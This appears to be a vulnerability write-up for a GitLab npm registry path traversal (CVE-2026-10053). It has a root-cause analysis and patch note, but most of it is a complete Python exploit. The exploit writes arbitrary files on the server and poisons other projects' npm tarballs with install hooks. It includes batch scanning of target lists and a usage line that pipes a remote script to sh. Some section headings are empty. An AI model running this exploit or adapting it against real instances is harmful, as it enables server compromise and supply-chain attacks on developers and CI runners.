#Summary

CVE-2026-10053 is a TOCTOU (time-of-check time-of-use) path traversal vulnerability in GitLab's npm package registry. An authenticated user with Developer role or above on any single project can write fully attacker-controlled bytes to any absolute path on the filesystem. The vulnerability escalates to remote code execution through npm package poisoning - the attacker can replace legitimate packages with malicious ones that execute code on consumer machines during installation. CVSS 8.5 (HIGH).

#Am I affected?

#Preconditions

#How to check

Check your GitLab version:

curl -s https://gitlab.corp.com/api/v4/version | jq '.version'

Compare against the affected ranges:

Range Status
18.8 - 19.0.5 Vulnerable
19.0.6+ Patched
19.1.0 - 19.1.3 Vulnerable
19.1.4+ Patched
19.2.0 - 19.2.1 Vulnerable
19.2.2+ Patched
< 18.8 Not affected

If you see a version in the vulnerable ranges and use local filesystem storage for packages, your instance is exploitable by any authenticated user with package write access.

#Fix and mitigation

#Root cause analysis

#How the vulnerability works

GitLab's GitlabUploader base class (in app/uploaders/gitlab_uploader.rb) registers a single path traversal defense hook that fires during the cache phase of file uploads:

before :cache, :protect_from_path_traversal!

CarrierWave, the file upload library GitLab uses, divides uploads into two phases:

  1. Cache phase - Fires when the file attribute is assigned to a model (model.file = ...). The bytes land in a temporary location and protect_from_path_traversal! is called.
  2. Store phase - Fires later during after_save callback. The final destination path is computed as File.expand_path(File.join(store_dir, filename), root).

For npm packages, the uploader is Packages::PackageFileUploader, which derives both filename and store_dir live from the model:

def filename
  model.file_name
end

def store_dir
  dynamic_segment
end

#The TOCTOU window

The npm publish flow in GitLab creates a temporary package file record with a benign placeholder filename, then later overwrites that record's file_name attribute with a string interpolated directly from the untrusted JSON publish document.

When package_file.update!(file_name: package_file_name, ...) is called with a hash containing multiple attributes, ActiveRecord processes them in insertion order: file, size, file_sha1, file_name, status. This ordering creates a critical gap:

  1. file= assignment fires CarrierWave's cache phase. At this point, model.file_name still holds the benign placeholder (e.g., "pkg-uuid-0.0.0.json"), so protect_from_path_traversal! validates a clean path and passes.
  2. file_name= is assigned next, replacing the benign value with "../ segments + absolute path"` interpolated from the attacker's JSON document.
  3. update! saves the record. CarrierWave's after_save hook fires store!, which calls File.expand_path(File.join(store_dir, filename), root) using the now-malicious filename. No second validation hook exists, so the traversal reaches the storage layer.

#Vulnerable npm publish flow

The npm publish endpoint (PUT /api/v4/projects/:id/packages/npm/:package_name) routes to Packages::Npm::CreateTemporaryPackageService, which:

  1. Persists a placeholder package and package file with benign names.
  2. Enqueues a background job to process the upload.

The background job later calls Packages::Npm::CreatePackageService, which:

  1. Reads the temporary package record.
  2. Takes the update_temp_package branch and calls package_file.update!(file_params.except(:build).merge(status: :default)).
  3. file_params builds the destination filename by interpolating the attacker's JSON name field directly, with no validation:
def package_file_name
  "#{name}-#{version}.tgz"
end

def file_params
  {
    file: ...,
    file_name: package_file_name,  # Attacker controls `name` directly
    ...
  }
end

The npm_package_name_regex validation that would reject traversal sequences is only applied when creating a new package model. On the temp-package update branch, the JSON name never reaches model validation.

#Why the affected range starts at 18.8

The temporary package flow was introduced in version 18.6 behind a feature flag that was disabled by default. The legacy code path without the flag still existed and called create_package!, which validated the name through the regex. In version 18.8, the feature flag and the legacy branch were both removed, making the vulnerable temp-package flow unconditional.

#Patch diff

#What the fix does

The patch adds a second path traversal validation hook that fires immediately before the store phase:

before :cache, :protect_from_path_traversal!
+ before :store, :protect_from_path_traversal!

This re-checks the filename, store_dir, and other path segments at store time with the values that will actually be used to build the destination path. If the filename has been mutated to contain traversal sequences between cache and store, the second check catches it before any file is written.

The patch also adds a rescue NotImplementedError block to handle uploaders that do not implement certain path methods, which now surfaces as an exception when the store-time hook runs on those uploaders.

#Proof of concept

#exploit.py - GitLab npm Registry Path Traversal PoC

#!/usr/bin/env python3
"""
CVE-2026-10053 - GitLab CE/EE npm registry TOCTOU path traversal (arbitrary file write -> RCE)
Affected: GitLab CE/EE 18.8 - 19.0.5, 19.1 - 19.1.3, 19.2 - 19.2.1 (fixed in 19.0.6 / 19.1.4 / 19.2.2)
Type: Path traversal / arbitrary file write, escalating to RCE via package poisoning

GitlabUploader only registers `before :cache, :protect_from_path_traversal!`. The npm publish
flow assigns the uploaded bytes to an already persisted package file record and *then* replaces
`file_name` with a string interpolated straight out of the publish document, so the value that
is validated at cache time is not the value CarrierWave uses to build the destination at store
time. One authenticated npm publish whose JSON `name` carries `../` therefore writes fully
controlled bytes to a fully controlled path, as the GitLab application user.

Every request this tool sends climbs 32 levels, which reaches the filesystem root from any
storage layout, then descends into an absolute path of its own choosing. The destination is
absolute, not relative to the package storage root.

Two stages, both confirmed over the network and nothing else:

  1. write proof - publish an ordinary npm package to a project the token may write to, then
                   overwrite that package's stored tarball through the traversal and download
                   it back. The bytes served are the ones the traversal wrote, at a path this
                   tool computed itself, which is the file write.
  2. poisoning   - overwrite the stored npm tarball of a project the token has no membership
                   in with a package whose install hook runs --command, then pull that tarball
                   back through the npm API. This is the CVSS S:C scope change, and the command
                   runs on whatever host next installs the package: a developer workstation, a
                   CI runner, a build image.

Usage:
  python exploit.py --host 192.168.1.10 --port 8929 --token glpat-xxxxxxxxxxxx
  python exploit.py --host https://gitlab.corp.com --token glpat-xxx --project 7
  python exploit.py --host https://gitlab.corp.com --token glpat-xxx \
                    --victim-project internal/build-tools --command "curl http://10.0.0.5/s|sh"
  python exploit.py --host https://gitlab.corp.com --token glpat-xxx \
                    --write-path /var/opt/gitlab/gitlab-rails/shared/pages/x-1.0.0.tgz
  python exploit.py --list targets.txt --token glpat-xxx --workers 20

Requires a token (personal access token, deploy token or CI job token) that may publish a
package to any one project. Developer role is enough. The instance must store package files on
the local filesystem, which is the default for a self-managed install.
"""

import argparse
import base64
import gzip
import hashlib
import io
import json
import re
import secrets
import ssl
import sys
import tarfile
import time
import urllib.error
import urllib.parse
import urllib.request

CVE_ID    = "CVE-2026-10053"
VULN_TYPE = "Path Traversal -> Arbitrary File Write -> RCE"

# Omnibus default. Override for a source install or a relocated storage path.
DEFAULT_PACKAGES_ROOT = "/var/opt/gitlab/gitlab-rails/shared/packages"

# store_dir contributes seven path components and the storage root a handful more.
# File.expand_path clamps at "/", so an over-long run costs nothing and removes any need to
# know how deep the target's storage root actually is.
TRAVERSAL_DEPTH = 32

# The version the exploit publishes under. Only has to be valid semver.
PUBLISH_VERSION = "1.0.0"

# This endpoint normally sees npm publish traffic; blend into it.
USER_AGENT = "npm/10.8.2 node/v20.17.0 linux x64 workspaces/false"

SEMVER_SUFFIX = re.compile(r"-(\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.\-+]+)?)\.tgz\Z")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------------------
# HTTP
# --------------------------------------------------------------------------------------

def _ctx(insecure: bool):
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    return ctx


def http(url, token=None, method="GET", data=None, content_type=None,
         insecure=False, timeout=60):
    """Returns (status, body_bytes). A status of 0 means the request never completed."""
    req = urllib.request.Request(url, data=data, method=method)
    req.add_header("User-Agent", USER_AGENT)
    if token:
        req.add_header("PRIVATE-TOKEN", token)
    if content_type:
        req.add_header("Content-Type", content_type)
    ctx = _ctx(insecure) if url.lower().startswith("https") else None
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
            return resp.status, resp.read()
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read()
    except Exception as exc:
        return 0, f"{exc.__class__.__name__}: {exc}".encode()


def http_json(url, token=None, method="GET", data=None, content_type=None,
              insecure=False, timeout=60):
    status, body = http(url, token, method, data, content_type, insecure, timeout)
    try:
        return status, json.loads(body.decode("utf-8", "replace"))
    except Exception:
        return status, None


def base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    netloc = host if ((use_tls and port == 443) or (not use_tls and port == 80)) \
        else f"{host}:{port}"
    return f"{scheme}://{netloc}{(path or '/').rstrip('/')}"


# --------------------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------------------

def traversal_name(dest_dir: str, stem: str) -> str:
    """The JSON `name` that makes CarrierWave store the file at <dest_dir>/<stem>-<ver>.tgz."""
    return "../" * TRAVERSAL_DEPTH + dest_dir.strip("/") + "/" + stem


def publish_document(name_field: str, version: str, blob: bytes, tarball_url: str) -> bytes:
    """An npm publish document. `name` carries the traversal instead of a package name."""
    doc = {
        "name": name_field,
        "versions": {
            version: {
                "name": name_field,
                "version": version,
                # `tarball` and `shasum` are both required by the npm metadata JSON schema.
                # Neither is verified against the bytes; a wrong shasum only downgrades the
                # package record to error status, long after the write has happened.
                "dist": {
                    "tarball": tarball_url,
                    "shasum": hashlib.sha1(blob).hexdigest(),
                },
            }
        },
        "dist-tags": {"latest": version},
        # The service looks the attachment up by this exact composed string.
        "_attachments": {
            f"{name_field}-{version}.tgz": {
                "content_type": "application/octet-stream",
                "data": base64.b64encode(blob).decode(),
                "length": len(blob),
            }
        },
    }
    return json.dumps(doc).encode()


def npm_tarball(pkg_name: str, pkg_version: str, command=None) -> bytes:
    """A real npm tarball. With `command`, it runs on whoever installs the package."""
    manifest = {
        "name": pkg_name,
        "version": pkg_version,
        "description": "internal helper library",
        "main": "index.js",
    }
    if command:
        manifest["scripts"] = {"preinstall": command, "postinstall": command}
    inner = io.BytesIO()
    with tarfile.open(fileobj=inner, mode="w") as tar:
        for path, data in (
            ("package/package.json", json.dumps(manifest, indent=2).encode()),
            ("package/index.js", b"module.exports = function () { return 'ok'; };\n"),
        ):
            info = tarfile.TarInfo(path)
            info.size = len(data)
            info.mode = 0o644
            info.mtime = 1700000000
            tar.addfile(info, io.BytesIO(data))
    out = io.BytesIO()
    with gzip.GzipFile(fileobj=out, mode="wb", mtime=0) as gz:
        gz.write(inner.getvalue())
    return out.getvalue()


def read_manifest(tgz: bytes) -> str:
    """Pull package/package.json back out of a downloaded tarball, for evidence."""
    try:
        with tarfile.open(fileobj=io.BytesIO(tgz), mode="r:gz") as tar:
            for member in tar.getmembers():
                if member.name.endswith("package.json"):
                    handle = tar.extractfile(member)
                    if handle:
                        return handle.read().decode("utf-8", "replace")
    except Exception as exc:
        return f"(not a readable tarball: {exc.__class__.__name__})"
    return ""


def hashed_dir(packages_root: str, project_id, package_id, file_id) -> str:
    """Gitlab::HashedPath - SHA256 of the project id, fanned out two bytes at a time."""
    digest = hashlib.sha256(str(project_id).encode()).hexdigest()
    return (f"{packages_root.rstrip('/')}/{digest[0:2]}/{digest[2:4]}/{digest}"
            f"/packages/{package_id}/files/{file_id}")


# --------------------------------------------------------------------------------------
# Primitives
# --------------------------------------------------------------------------------------

def project_id_of(base: str, token: str, project, insecure: bool):
    """Numeric id for a project id or path. The hashed storage path needs the number."""
    ident = urllib.parse.quote(str(project), safe="")
    status, data = http_json(f"{base}/api/v4/projects/{ident}", token,
                             insecure=insecure, timeout=30)
    if status == 200 and isinstance(data, dict):
        return data.get("id")
    return None


def discover_project(base: str, token: str, insecure: bool):
    """First project the token may publish a package to (Developer role or above)."""
    url = (base + "/api/v4/projects"
           "?membership=true&min_access_level=30&simple=true&per_page=100&order_by=id")
    status, data = http_json(url, token, insecure=insecure, timeout=30)
    if status != 200 or not isinstance(data, list):
        return None
    for project in data:
        return project.get("id")
    return None


def publish(base: str, token: str, project, name_field: str, version: str,
            blob: bytes, insecure: bool):
    """One npm publish. `name_field` is either a package name or a traversal.

    Returns (http_status, body_text, url_package_name).
    """
    # The URL segment has to satisfy the npm name regex, so it stays ordinary. It never
    # reaches the written path; the traversal lives entirely in the JSON body.
    url_name = "pkg-" + secrets.token_hex(4)
    tarball_url = (f"{base}/api/v4/projects/{project}/packages/npm/"
                   f"{url_name}/-/{url_name}-{version}.tgz")
    body = publish_document(name_field, version, blob, tarball_url)
    url = (f"{base}/api/v4/projects/{urllib.parse.quote(str(project), safe='')}"
           f"/packages/npm/{url_name}")
    status, resp = http(url, token, method="PUT", data=body,
                        content_type="application/json", insecure=insecure, timeout=90)
    return status, resp.decode("utf-8", "replace")[:400], url_name


def arbitrary_write(base: str, token: str, project, dest_dir: str, stem: str,
                    version: str, blob: bytes, insecure: bool):
    """Publish a traversal document that lands `blob` at <dest_dir>/<stem>-<version>.tgz.

    Returns (http_status, body_text, absolute_destination_path).
    """
    status, body, _ = publish(base, token, project,
                              traversal_name(dest_dir, stem), version, blob, insecure)
    dest = "/" + dest_dir.strip("/") + "/" + stem + "-" + version + ".tgz"
    return status, body, dest


def package_files_of(base, token, project, name, version, insecure):
    """(package_id, file_id, file_name) for a published package, or None."""
    status, packages = http_json(
        f"{base}/api/v4/projects/{project}/packages"
        f"?package_type=npm&per_page=100&package_name={urllib.parse.quote(str(name))}",
        token, insecure=insecure, timeout=30)
    if status != 200 or not isinstance(packages, list):
        return None
    for pkg in packages:
        if pkg.get("name") != name or pkg.get("version") != version:
            continue
        if pkg.get("status") not in (None, "default"):
            continue
        status, files = http_json(
            f"{base}/api/v4/projects/{project}/packages/{pkg['id']}/package_files",
            token, insecure=insecure, timeout=30)
        if status != 200 or not isinstance(files, list):
            return None
        for item in files:
            if item.get("file_name", "").endswith(".tgz"):
                return pkg["id"], item["id"], item["file_name"]
    return None


def stage_oracle_package(base, token, project, insecure, attempts=20, delay=3):
    """Publish an ordinary npm package to prove the write against.

    A published package is the one object on a GitLab instance whose bytes an attacker can
    both place on disk at a known path and read back over the network, which is what turns
    the traversal into network-observable evidence.

    Returns (package_id, file_id, file_name, name, version) or a string explaining why not.
    """
    name = "pkg-" + secrets.token_hex(6)
    blob = npm_tarball(name, PUBLISH_VERSION)
    tarball_url = (f"{base}/api/v4/projects/{project}/packages/npm/"
                   f"{name}/-/{name}-{PUBLISH_VERSION}.tgz")
    body = publish_document(name, PUBLISH_VERSION, blob, tarball_url)
    url = (f"{base}/api/v4/projects/{urllib.parse.quote(str(project), safe='')}"
           f"/packages/npm/{name}")
    status, resp = http(url, token, method="PUT", data=body,
                        content_type="application/json", insecure=insecure, timeout=90)
    if status != 200:
        return (f"publish rejected with HTTP {status} "
                f"({resp.decode('utf-8', 'replace')[:200]})")
    for _ in range(attempts):
        time.sleep(delay)
        found = package_files_of(base, token, project, name, PUBLISH_VERSION, insecure)
        if found:
            return found[0], found[1], found[2], name, PUBLISH_VERSION
    return "the published package never became available through the API"


def delete_package(base, token, project, package_id, insecure):
    status, _ = http(f"{base}/api/v4/projects/{project}/packages/{package_id}",
                     token, method="DELETE", insecure=insecure, timeout=30)
    return status in (200, 202, 204)


def npm_download_url(base, project_id, package_name, file_name):
    return (f"{base}/api/v4/projects/{project_id}/packages/npm/"
            f"{urllib.parse.quote(package_name, safe='@/')}/-/"
            f"{urllib.parse.quote(file_name, safe='@/')}")


def poll_for_bytes(url, token, want_sha256, insecure, attempts=20, delay=3, timeout=60):
    """The write happens in a background job, so poll. Returns (ok, status, body)."""
    last_status, last_body = 0, b""
    for _ in range(attempts):
        time.sleep(delay)
        last_status, last_body = http(url, token, insecure=insecure, timeout=timeout)
        if last_status == 200 and hashlib.sha256(last_body).hexdigest() == want_sha256:
            return True, last_status, last_body
    return False, last_status, last_body


def resolve_victim(base: str, token: str, victim: str, package_name, insecure: bool):
    """Locate a stored npm tarball to overwrite, using read access only.

    Returns (project_id, package_id, file_id, package_name, file_name, version), or a string
    explaining why it could not be resolved.
    """
    project_id = project_id_of(base, token, victim, insecure)
    if not project_id:
        return f"cannot read project '{victim}'"

    status, packages = http_json(
        f"{base}/api/v4/projects/{project_id}/packages"
        "?package_type=npm&status=default&per_page=100", token,
        insecure=insecure, timeout=30)
    if status != 200 or not isinstance(packages, list) or not packages:
        return f"no readable npm packages in project {project_id} (HTTP {status})"

    candidates = [p for p in packages
                  if package_name is None or p.get("name") == package_name]
    if not candidates:
        return f"package '{package_name}' not found in project {project_id}"

    for pkg in candidates:
        status, files = http_json(
            f"{base}/api/v4/projects/{project_id}/packages/{pkg['id']}/package_files",
            token, insecure=insecure, timeout=30)
        if status != 200 or not isinstance(files, list):
            continue
        for item in files:
            file_name = item.get("file_name", "")
            match = SEMVER_SUFFIX.search(file_name)
            if match:
                return (project_id, pkg["id"], item["id"], pkg["name"],
                        file_name, match.group(1))
    return f"no npm tarball named <name>-<semver>.tgz in project {project_id}"


# --------------------------------------------------------------------------------------
# Scan mode
# --------------------------------------------------------------------------------------

def _try_exploit(host, port, use_tls, path="/", token=None, insecure=False,
                 packages_root=DEFAULT_PACKAGES_ROOT, keep=False):
    """Silent probe for --list. Overwrites a package of its own through the traversal."""
    base = base_url(host, port, use_tls, path)
    package_id, project = None, None
    try:
        project = discover_project(base, token, insecure)
        if project is None:
            return False, "no project the token may publish to"
        staged = stage_oracle_package(base, token, project, insecure,
                                      attempts=12, delay=3)
        if isinstance(staged, str):
            return False, staged
        package_id, file_id, file_name, name, version = staged
        marker = secrets.token_hex(16)
        blob = f"write-check {marker}\n".encode()
        dest_dir = hashed_dir(packages_root, project, package_id, file_id)
        stem = file_name[:SEMVER_SUFFIX.search(file_name).start()]
        status, _, dest = arbitrary_write(base, token, project, dest_dir, stem,
                                          version, blob, insecure)
        if status != 200:
            return False, f"traversal publish rejected (HTTP {status})"
        ok, last, _ = poll_for_bytes(npm_download_url(base, project, name, file_name),
                                     token, hashlib.sha256(blob).hexdigest(), insecure,
                                     attempts=12, delay=3, timeout=30)
        if ok:
            return True, f"arbitrary write confirmed at {dest} (bytes served back)"
        return False, (f"no write after 36s (last HTTP {last}) - patched, or packages are "
                       f"on object storage")
    except Exception as exc:
        return False, f"unreachable ({exc.__class__.__name__})"
    finally:
        if package_id and project and not keep:
            try:
                delete_package(base, token, project, package_id, insecure)
            except Exception:
                pass


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, token=None,
         insecure=False, packages_root=DEFAULT_PACKAGES_ROOT, keep=False) -> None:
    import concurrent.futures

    with open(targets_file) as handle:
        targets = [_parse_target(line, default_port) for line in handle]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(target):
        host, port, use_tls, path = target
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, token, insecure,
                                    packages_root, keep)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
        futures = {pool.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------------------
# Single target
# --------------------------------------------------------------------------------------

def exploit(host, port, use_tls, path, args) -> None:
    header(host, port)
    base = base_url(host, port, use_tls, path)
    token, insecure = args.token, args.insecure

    step(1, f"Authenticating against {base}")
    status, whoami = http_json(f"{base}/api/v4/user", token, insecure=insecure, timeout=30)
    if status == 200 and isinstance(whoami, dict):
        print(f"         token belongs to '{whoami.get('username')}' "
              f"(id {whoami.get('id')}, admin={whoami.get('is_admin', False)})")
    elif args.project:
        print(f"         /api/v4/user returned HTTP {status}; continuing with --project "
              f"{args.project} (deploy and job tokens cannot read that endpoint)")
    else:
        section("SERVER RESPONSE", f"HTTP {status} from /api/v4/user")
        done(False, "token rejected - supply a valid token, or pass --project when using a "
                    "deploy or CI job token")

    step(2, "Selecting a project to publish through")
    project = (project_id_of(base, token, args.project, insecure) if args.project
               else discover_project(base, token, insecure))
    if project is None:
        done(False, "token cannot publish a package to any project - Developer role or "
                    "above on one project is required")
    print(f"         project {project}")

    step(3, "Publishing an ordinary npm package to overwrite as proof")
    staged = stage_oracle_package(base, token, project, insecure)
    if isinstance(staged, str):
        section("SERVER RESPONSE", staged)
        done(False, f"could not stage the proof package: {staged}")
    package_id, file_id, file_name, pkg_name, version = staged
    download_url = npm_download_url(base, project, pkg_name, file_name)
    before_status, before = http(download_url, token, insecure=insecure, timeout=60)
    print(f"         package {package_id} '{pkg_name}', file {file_id} '{file_name}'")
    print(f"         served now: HTTP {before_status}, {len(before)} bytes, "
          f"sha256 {hashlib.sha256(before).hexdigest()[:32]}")

    dest_dir = hashed_dir(args.packages_root, project, package_id, file_id)
    stem = file_name[:SEMVER_SUFFIX.search(file_name).start()]
    marker = secrets.token_hex(16)
    blob = (f"file-write verification marker {marker}\n").encode()

    step(4, "Publishing the traversal document")
    print(f"         JSON name = '../' x {TRAVERSAL_DEPTH} + "
          f"{dest_dir.lstrip('/')}/{stem}")
    status, body, dest = arbitrary_write(base, token, project, dest_dir, stem,
                                         version, blob, insecure)
    print(f"         PUT -> HTTP {status}")
    if status != 200:
        section("SERVER RESPONSE", body)
        done(False, f"publish rejected with HTTP {status} - the token lacks package write "
                    f"permission on project {project}, or the endpoint is unavailable")
    print(f"         destination: {dest}")
    print("         (the write happens in a background job, after the response)")

    step(5, "Downloading the package back to see which bytes are on disk")
    ok, last_status, served = poll_for_bytes(
        download_url, token, hashlib.sha256(blob).hexdigest(), insecure)
    if not ok:
        section("SERVER RESPONSE",
                f"GET {download_url} -> HTTP {last_status} after 60s, "
                f"sha256 {hashlib.sha256(served).hexdigest()} "
                f"(expected {hashlib.sha256(blob).hexdigest()})")
        if not args.keep:
            delete_package(base, token, project, package_id, insecure)
        done(False, "the stored file was not replaced - the target re-validates the path at "
                    "store time (patched), or it keeps package files in object storage, "
                    "where '../' is a literal key component")
    section("BYTES SERVED BACK BY THE TARGET",
            f"GET {download_url} -> HTTP 200, {len(served)} bytes\n"
            f"{served.decode('utf-8', 'replace')}")
    print(f"         the tarball at {dest} is now the attacker's content")
    write_evidence = (f"authenticated arbitrary file write as the GitLab application user "
                      f"at {dest}, confirmed by reading the bytes back over HTTP")

    if args.write_path:
        step(6, f"Issuing the operator-requested write -> {args.write_path}")
        directory, _, basename = args.write_path.rpartition("/")
        match = SEMVER_SUFFIX.search(basename)
        if not match:
            print("         skipped: the final path component is always "
                  "'<name>-<semver>.tgz', so --write-path has to end that way")
        else:
            payload = blob
            if args.write_data is not None:
                payload = args.write_data.encode()
            if args.write_data_file:
                with open(args.write_data_file, "rb") as handle:
                    payload = handle.read()
            status, body, target_path = arbitrary_write(
                base, token, project, directory, basename[:match.start()],
                match.group(1), payload, insecure)
            print(f"         PUT -> HTTP {status}, {len(payload)} bytes -> {target_path}")
            if status == 200:
                print("         issued; nothing serves that path back, so this particular "
                      "write is not independently confirmed here")

    if not args.keep:
        step(7, "Removing the proof package")
        removed = delete_package(base, token, project, package_id, insecure)
        print(f"         package {package_id} deleted: {removed}")

    if not args.victim_project:
        done(True, write_evidence)

    step(8, f"Locating a stored npm tarball in project '{args.victim_project}'")
    resolved = resolve_victim(base, token, args.victim_project,
                              args.victim_package, insecure)
    if isinstance(resolved, str):
        print(f"         {resolved}")
        done(True, write_evidence + "; cross-project poisoning skipped: " + resolved)
    victim_id, v_package_id, v_file_id, v_name, v_file_name, v_version = resolved
    print(f"         project {victim_id}, package {v_package_id} '{v_name}', "
          f"file {v_file_id} '{v_file_name}'")

    victim_url = npm_download_url(base, victim_id, v_name, v_file_name)
    before_status, before = http(victim_url, token, insecure=insecure, timeout=60)
    print(f"         genuine tarball: HTTP {before_status}, {len(before)} bytes, "
          f"sha256 {hashlib.sha256(before).hexdigest()[:32]}")

    step(9, f"Overwriting it with a package whose install hook runs: {args.command}")
    poisoned = npm_tarball(v_name, v_version, args.command)
    dest_dir = hashed_dir(args.packages_root, victim_id, v_package_id, v_file_id)
    stem = v_file_name[:SEMVER_SUFFIX.search(v_file_name).start()]
    status, body, dest = arbitrary_write(base, token, project, dest_dir, stem,
                                         v_version, poisoned, insecure)
    print(f"         PUT -> HTTP {status}  (published from project {project})")
    if status != 200:
        section("SERVER RESPONSE", body)
        done(True, write_evidence + f"; the poisoning publish was rejected with HTTP {status}")
    print(f"         destination: {dest}")

    step(10, "Downloading the victim package through the public npm API")
    ok, last_status, served = poll_for_bytes(
        victim_url, token, hashlib.sha256(poisoned).hexdigest(), insecure)
    if not ok:
        section("SERVER RESPONSE",
                f"GET {victim_url} -> HTTP {last_status}, "
                f"sha256 {hashlib.sha256(served).hexdigest()} "
                f"(expected {hashlib.sha256(poisoned).hexdigest()})")
        done(True, write_evidence + "; the victim tarball was not replaced (check "
                                    "--packages-root)")
    section("VICTIM PACKAGE AS SERVED BY THE TARGET",
            f"GET {victim_url} -> HTTP 200, {len(served)} bytes\n"
            f"sha256 {hashlib.sha256(served).hexdigest()}\n\n"
            f"{read_manifest(served)}")
    print(f"         the tarball project {victim_id} serves for {v_name}@{v_version} now "
          f"carries an install hook running: {args.command}")
    print("         note: a client resolving through the registry compares the tarball "
          "against the")
    print("         shasum in the package metadata, which this write does not touch, and "
          "will refuse")
    print("         it. A client that installs from the tarball URL has no integrity "
          "metadata to")
    print("         compare against and runs the hook, which is what CI jobs and image "
          "builds do:")
    print(f"             npm install {victim_url}")
    done(True, f"{write_evidence}; and the npm tarball '{v_file_name}' of project "
               f"{victim_id} was overwritten from an unrelated account - it now ships an "
               f"install hook running '{args.command}' on every consumer")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://gitlab.corp.com)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--token", required=True,
                        help="Personal access, deploy or CI job token that may publish a "
                             "package to at least one project")
    parser.add_argument("--command", default="id",
                        help="Command the poisoned package runs on whoever installs it "
                             "(default: id)")
    parser.add_argument("--project",
                        help="Project id or path to publish through (default: the first "
                             "project the token has Developer or above on)")
    parser.add_argument("--victim-project",
                        help="Project id or path whose npm tarball to overwrite. The token "
                             "needs no membership in it, only read access")
    parser.add_argument("--victim-package",
                        help="npm package name to poison (default: the first npm package "
                             "found in the victim project)")
    parser.add_argument("--packages-root", default=DEFAULT_PACKAGES_ROOT,
                        help=f"Package storage root on the target "
                             f"(default: {DEFAULT_PACKAGES_ROOT})")
    parser.add_argument("--write-path",
                        help="Absolute path to write to as well. The final path component "
                             "is always '<name>-<semver>.tgz', so it must end that way")
    parser.add_argument("--write-data",
                        help="Content for --write-path (default: the verification marker)")
    parser.add_argument("--write-data-file",
                        help="Local file whose bytes are written to --write-path")
    parser.add_argument("--keep", action="store_true",
                        help="Keep the proof package instead of deleting it afterwards")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    parser.add_argument("--insecure", action="store_true",
                        help="Do not verify TLS certificates")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, token=args.token,
             insecure=args.insecure, packages_root=args.packages_root, keep=args.keep)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args)

#Usage

python exploit.py --host gitlab.corp.com --port 80 --token glpat-xxxxxxxxxxxx

The exploit requires:

Optional arguments:

#Expected output (vulnerable instance)

[STEP 1] Authenticating against http://gitlab.corp.com
         token belongs to 'attacker' (id 2, admin=False)
[STEP 3] Publishing an ordinary npm package to overwrite as proof
         package 15 'pkg-xxx', file 15 'pkg-xxx-1.0.0.tgz'
         served now: HTTP 200, 265 bytes
[STEP 5] Downloading the package back to see which bytes are on disk

--- BYTES SERVED BACK BY THE TARGET ---
GET http://gitlab.corp.com/.../pkg-xxx-1.0.0.tgz -> HTTP 200, 64 bytes
file-write verification marker [marker]
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: authenticated arbitrary file write ... confirmed by reading the bytes back
============================================================

#Expected output (patched instance)

[STEP 5] Downloading the package back to see which bytes are on disk

--- SERVER RESPONSE ---
GET http://gitlab.corp.com/.../pkg-xxx-1.0.0.tgz -> HTTP 200 after 60s, 
sha256 [original] (expected [injected])
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: the stored file was not replaced - the target re-validates the path
